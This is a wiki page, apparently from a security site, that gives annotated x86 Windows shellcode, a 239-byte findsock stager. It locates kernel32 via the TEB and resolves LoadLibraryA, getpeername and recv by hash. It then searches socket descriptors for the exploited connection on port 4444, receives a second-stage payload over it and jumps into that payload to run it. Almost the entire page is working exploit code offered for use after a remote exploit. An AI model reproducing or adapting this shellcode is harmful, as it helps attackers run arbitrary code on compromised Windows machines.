Questions about this topic? Sign up to ask in the talk tab.

User:Hatter/second stage code

From NetSec
< User:Hatter
Revision as of 12:53, 11 May 2012 by LashawnSeccombe (Talk | contribs) (moved Second Stage Shellcode to User:Hatter/second stage code: needs total update/rewrite, does not work on win 7 anyway)

Jump to: navigation, search

Assuming you are doing this from a remote exploit, you'll want to enumerate the open sockets in the context of your exploited process until you can find the open socket that matches the connection which the exploit was triggered by.

239 Byte shellcode to abuse dynamic file descriptors is as follows, including TEB abuse:

<syntaxhighlight lang="asm"> findfdread: jmp startup ;skip over all the find stuff, we'll get to it find_kernel32: ;abuses TEB to find kernel32.dll push esi ;preserve ESI xor esi, esi ;zero it mov esi, fs:[esi + 0x18] ;grab the TEB and store it in ESI lodsd ;use it to ad 4 to esi, actual value doesn't matter, we're saving memory space here ;to keep it down to 11 bytes to find kernel32.dll via the TEB abuse lodsd ;grab the top of the stack from the TEB and store it in eax mov eax, [eax - 0x1c] ;grab a pointer that's 0x1c bytes (28 bytes) into the stack and store it in eax ;this will be a data segment inside of kernel32.dll 100% of the time on xp sp2/vista find_kernel32_base: find_kernel32_base_loop: dec eax ; decrement eax, if the previous value was aligned under a 64 kb boundary, then ; this will set the low 16 bits of eax to 0xffff. If not, this will just dec eax ; to an undetermined value (pulled out of the TEB) xor ax, ax ; zero out the low 16 bits of eax to force the 64kb boundary cmp word ptr [eax], 0x5a4d ; this compares the pointer value to "MZ", which is the first 2 bytes of any PE header ; MZ = 0x5a4d jne find_kernel32_base_loop ; if not equal, redo the loop, if equal, we're done, we found the base pointer of ; kernel32.dll find_kernel32_base_finished: pop esi ; fix esi back to what it was ret ; return to where we need to be...

find_function: ; this is to find symbols... pushad ; preserve all registers mov ebp, [esp + 0x24] ; store the base address of the module being loaded from ebp mov eax, [ebp + 0x3c] ; skip the DOS header, go to the PE header. mov edx, [ebp + eax + 0x78] ; the export table is 0x78 (120) bytes from the start of the PE header ; extract it and start the relative address in edx add edx, ebp ; make the EDT address (Export Directory Table) absolute by adding the base addr to it mov ecx, [edx + 0x18] ; extract the number of exported items from the EDT and store it in ecx which will ; eventually used as a counter. mov ebx, [edx + 0x20] ; extract the names table relative offset and store it in ebx add ebx, ebp ; make the names table address absolute by adding the base addr to it find_function_loop: jecxz find_function_finished ; if ecx is 0 then then the last symbol has been checked and we can end ; if this condition is ever true, then we didn't resolve the function symbol proper dec ecx ; dec the counter mov esi, [ebx + ecx * 4] ; extract the relative offset name associated with the current symbol and store it in esi add esi, ebp ; make the address of the symbol name absolute by adding base ptr to it compute_hash: xor edi, edi ; zero edi, its gonna be the symbol func name xor eax, eax ; will hold the value of each char as it steps through symbol name cld ; clear the dir flag so that it will inc in stead of dec when lods* happens compute_hash_again: lodsb ; load the Byte at esi (current symbol name) into al and inc esi test al, al ; bitwise test al to see if the end of the str was reached jz compute_hash_finished ; if ZF is set, jump to the end of the hash calculation ror edi, 0xd ; rotate has val 13 digits to the right add edi, eax ; add current str val to the hash accumulator (edi) jmp compute_hash_again ; continue to loop through the symbol name compute_hash_finished: cmp edi, [esp + 0x28] ; check to see if computed hash = requested hash jnz find_function_loop ; if hashes don't match, keep enuming the exported symbol list, ; else drop down and extract vma from the symbol mov ebx, [edx + 0x24] ; extract ordinals table relative offset store in ebx add ebx, ebp ; make ebx absolute... blah mov cx, [ebx + 2 * ecx] ; extract current symb ordinal # from the ord table, ord's are 2 bytes in size mov ebx, [edx + 0x1c] ; extract addy table rel. offset store in ebx add ebx, ebp ; make the addy table addr absolute mov [esp + 0x1c], eax ; overwrite stack copy of preserved eax register so when popad is finished ; the right eip will be set find_function_finished: popad ; restore registers ret startup: jmp shorten_find_function_forward ; jmp forward as the first step to obtain absolute addr that the scode is execing at shorten_find_function_middle: jmp shorten_find_function_end ; jmp past call to continue execing shorten_find_function_forward: call shorten_find_function_middle ; call backwards to push the absolute addr of pop esi onto the stack shorten_find_function_end: pop esi ; pop the return address off the stack into esi sub esi, 0x57 ; subtract 0x57 (87) from esi to point to the start of find_function ; hardcoded due to the limitations of inline assembler call find_kernel32 ; the address of kernel32 will be stored in eax mov edx, eax ; move the base addr of k32 in edx push 0xec0e4e8e ; push the hash of LoadLibraryA onto the stack as the second arg of find_function push edx ; push base ptr of k32 as first arg to find_function call esi ; call the find_function for LoadLibraryA in k32. VMA of the symbol will be in eax mov ebx, eax ; put the VMA into ebx load_ws2_32: xor eax, eax ; null it mov ax, 0x3233 ; move 32 into the low order bytes of eax push eax ; duh... push 0x5f327377 ; push ws2_ onto stack push esp ; push ptr to ws2_32.dll onto the stack as its called for LoadLibraryA call ebx ; Call LoadLibraryA. base addr of ws2_32 will be in eax mov edx, eax ; preserve base addr in edx load_ws2_32_syms: push 0x95066ef2 ; push hash of "getpeername" as second arg of find function push edx ; push base addr of ws2_32 in as the first arg call esi ; call find_function for getpeername, VMA will be in eax mov edi, eax ; save base ptr in edi push 0xe71819b6 ; push computed hash of recv() onto stack as second arg to find push edx ; base addr of ws2_32 as first arg call esi ; call find_function for recv push eax ; preserve vma of recv on stack for later use find_fd: sub esp, 0x14 ; alloc 20 bytes of stack space for use in getpeername mov ebp, esp ; use ebp as frame ptr for next set of func calls xor eax, eax ; null mov al, 0x10 ; set low order Byte to 16, represents the size of struct sockaddr in getpeername lea edx, [esp + eax] ; load addr of esp + 16 into edx, is the namelen arg for getpeername mov [edx], eax ; set namelen to 16 xor esi, esi ; null, this will become the fd bp find_fd_loop: inc esi ; point to the next fd to test push edx ; push namelen on the stack to preserve across funcs push edx ; 3rd arg to getpeername (namelen) push ebp ; 2nd arg to getpeername (name) push esi ; 1st arg to getpeername (fd to test) call edi ; call getpeername, if successful, eax = 0 test eax, eax ; make sure... pop edx ; restore namelen ptr as func may clobber it... jnz find_fd_loop ; if eax != 0 loop, in case of getpeername failure find_fd_check_port: cmp word ptr [esp + 0x02], 0x5c11 ; compare sin_port property of struct sockaddr_in to 4444 in netbyte order ; can be modified for whatever if you like, this is arbitrary jne find_fd_loop ; if port doesn't match, jump back to find fdloop find_fd_check_finished: add esp, 0x14 ; restore 20 bytes to stack pop edi ; pop recv ptr into edi recv_fd: xor ebx, ebx ; will be used as flags arg for recv inc eax ; make eax = 1 sal eax, 0x0d ; shift eax 13 bits to left setting it to 0x00002000 ; allocates back stack space to store payload read from fd sub esp, eax ; alloc 8192 stack bytes mov ebp, esp ; make ebp frame ref before args are pulled push ebx ; flags pushed (set to 0) push eax ; push bufferlen in as arg push ebp ; push buff ptr as buff arg push esi ; push fd from getpeername as fd arg call edi ; call recv, no err check is done here because we figure ; full buf will be read... its possible it won't be jmp_code: jmp ebp ; jmp to buff read from fd, it should now hold the second stage shellcode out of the ; socket

</syntaxhighlight>